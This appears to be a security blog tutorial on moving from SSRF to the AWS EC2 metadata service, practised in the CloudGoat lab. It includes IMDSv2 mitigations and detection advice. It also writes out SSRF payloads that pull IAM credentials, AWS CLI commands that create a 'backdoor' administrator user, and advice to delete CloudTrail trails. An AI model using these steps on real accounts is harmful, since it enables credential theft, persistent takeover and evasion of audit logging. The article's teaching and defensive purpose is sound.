Listen to this Post
Introduction:
Server-Side Request Forgery (SSRF) is a critical web vulnerability that forces a server to make unauthorized requests to internal resources. In cloud environments like AWS, an SSRF flaw in an EC2-hosted application can be chained with the instance metadata service (IMDS) to extract IAM role credentials, leading to full cloud account compromise. This article dissects a real-world attack path using AWS CloudGoat—a deliberately vulnerable environment—and provides hands-on commands, mitigation strategies, and expert analysis.
Learning Objectives:
- Detect and exploit SSRF vulnerabilities in cloud-hosted web applications.
- Extract IAM temporary credentials from EC2 metadata service (IMDSv1) via internal HTTP requests.
- Leverage stolen credentials to enumerate and escalate privileges within an AWS environment.
You Should Know:
1. Understanding the SSRF-to-Metadata Attack Chain
SSRF tricks the target server into making requests on behalf of the attacker. By injecting a URL like `http://169.254.169.254/latest/meta-data/iam/security-credentials/`, the server unintentionally fetches the IAM role credentials attached to the EC2 instance. This is the core of the exploit.
Step‑by‑Step Guide:
- Identify SSRF entry points – Look for parameters that accept URLs (e.g.,
?url=,?fetch=,?image_url=). - Test internal reachability – Use a simple payload:
http://169.254.169.254/latest/meta-data/`. If the response containsami-id,instance-id`, etc., the instance uses IMDSv1 (vulnerable). - Abuse IMDSv1 – Request the IAM role name first:
`curl http://169.254.169.254/latest/meta-data/iam/security-credentials/`
(In the vulnerable app, you’d pass this as the URL parameter.)
– Extract credentials – Append the role name to the previous path:
`http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole`
– Save the JSON output – It containsAccessKeyId,SecretAccessKey, andToken.
Linux command to simulate (for testing your own lab):
From inside a compromised EC2 instance or via SSRF curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ Then curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole
2. Exfiltrating and Using Temporary IAM Credentials
Once you have the AccessKeyId, SecretAccessKey, and SessionToken, you can configure AWS CLI on your attacker machine to assume that identity. These credentials are temporary but often last for several hours.
Step‑by‑Step Guide:
- Set environment variables (Linux/macOS):
export AWS_ACCESS_KEY_ID=AKIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=...
- On Windows (PowerShell):
$env:AWS_ACCESS_KEY_ID="AKIA..." $env:AWS_SECRET_ACCESS_KEY="..." $env:AWS_SESSION_TOKEN="..."
- Verify the identity:
aws sts get-caller-identity
- Enumerate accessible services – Check S3 buckets, EC2 instances, Lambda, etc.:
aws s3 ls aws ec2 describe-instances --region us-east-1
- Look for privilege escalation – Use `aws iam list-attached-user-policies` or `aws iam list-role-policies` if the role has IAM permissions.
3. Privilege Escalation via Stolen Credentials
The IAM role attached to the compromised EC2 might have overly permissive policies (e.g., AdministratorAccess, :). With those keys, an attacker can create new resources, modify security groups, or even backdoor the account.
Step‑by‑Step Guide:
- Discover effective permissions using `aws iam simulate-principal-policy` or
aws iam list-policies-granting-service-access. - Create a new admin user (if permissions allow):
aws iam create-user --user-name backdoor aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess aws iam create-access-key --user-name backdoor
- Or modify existing resources – e.g., add an SSH key to an EC2 instance for persistent access.
- Clean up logs – Delete CloudTrail trails or disable logging (if the role has
cloudtrail:DeleteTrail).
4. Mitigation: Switching to IMDSv2 and Hardening
IMDSv2 adds a session‑based `PUT` request to prevent SSRF‑based token theft. It is not vulnerable to simple HTTP GET SSRF because the attacker must first send a `PUT` with a proper `X-aws-ec2-metadata-token-ttl-seconds` header, then use that token in subsequent requests.
Step‑by‑Step Guide:
- Enforce IMDSv2 on all EC2 instances (AWS CLI command):
aws ec2 modify-instance-metadata-options \ --instance-id i-1234567890abcdef0 \ --http-tokens required \ --http-endpoint enabled
- Disable IMDSv1 globally with an SCP (Service Control Policy) in AWS Organizations:
{ "Effect": "Deny", "Action": "ec2:RunInstances", "Condition": { "StringNotEquals": { "ec2:MetadataHttpTokens": "required" } } } - Apply network ACLs – Block outbound traffic to `169.254.169.254` from application subnets unless absolutely necessary.
- Use Web Application Firewall (WAF) – Create rules that inspect URL parameters for internal IP patterns (
169.254.0.0/16,192.168.0.0/16,10.0.0.0/8).
5. Detecting SSRF Exploitation in AWS Logs
Monitor CloudTrail and VPC Flow Logs for anomalous internal requests. IMDS access is not logged by default, but you can detect usage of stolen keys.
Step‑by‑Step Guide:
- Query CloudTrail for unusual `GetCallerIdentity` or `AssumeRole` calls from unexpected IPs.
- Enable VPC Flow Logs – Look for outbound TCP/80 or TCP/443 traffic to `169.254.169.254` from web servers.
- Create a GuardDuty custom rule – Alert on `EC2:MetadataServiceAccess` (note: GuardDuty may not detect IMDSv1 access, but can detect anomalous credential usage).
- Linux command to monitor /var/log for outgoing requests:
sudo tcpdump -i eth0 host 169.254.169.254 -n
- Windows PowerShell (for IIS servers):
Get-NetTCPConnection -RemoteAddress 169.254.169.254
6. Hands‑On Lab: AWS CloudGoat Scenario ‘ec2_ssrf’
CloudGoat is an open‑source vulnerable-by-design AWS environment. The `ec2_ssrf` scenario simulates a web app with an SSRF flaw.
Step‑by‑Step Guide:
- Deploy CloudGoat (requires Python and AWS CLI):
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git cd cloudgoat pip install -r requirements.txt ./cloudgoat.py create ec2_ssrf
- Find the vulnerable app URL – CloudGoat outputs the public DNS of the web server.
- Craft the SSRF payload:
`http:///proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/` - Extract role name from response, then:
`http:///proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/CloudGoatRole` - Use the returned keys as shown in section 2.
- Destroy the lab after testing:
./cloudgoat.py destroy ec2_ssrf
What Undercode Say:
- SSRF remains one of the most underestimated cloud vulnerabilities—it transforms a simple web bug into a full cloud account takeover.
- The shift to IMDSv2 breaks most SSRF‑to‑metadata attacks, but misconfigured applications (e.g., allowing `PUT` methods) or legacy instances still pose major risks.
- Defense in depth: combine IMDSv2 with strict egress filtering, WAF rules, and minimal IAM privileges (least privilege is key).
- Red teams should prioritize SSRF testing in cloud environments, as automated scanners often miss multi‑step internal request chains.
- Blue teams: enable CloudTrail for all regions, configure alerts on `ec2:ModifyInstanceMetadataOptions` (attempts to downgrade to IMDSv1), and regularly audit IAM roles attached to public‑facing EC2s.
- Developers: never trust user‑supplied URLs; use whitelists of allowed domains and sanitize inputs. For internal requests, use service‑specific SDKs instead of raw HTTP calls.
Prediction:
As organizations rapidly adopt serverless and containerized workloads, SSRF vulnerabilities will shift from EC2 metadata to compromise internal APIs, Kubernetes etcd, and cloud control planes. Attackers will increasingly combine SSRF with side‑channel leakages (e.g., response timing to infer internal IPs). In the next 12 months, expect new tooling that automates SSRF‑to‑credential‑exfiltration across multi‑cloud environments (AWS, GCP, Azure). The only sustainable defense will be a zero‑trust network model where even internal requests require explicit authentication and short‑lived tokens. Without aggressive adoption of IMDSv2 and micro‑segmentation, SSRF will remain the cloud’s silent Achilles’ heel.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mitali Aswani – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
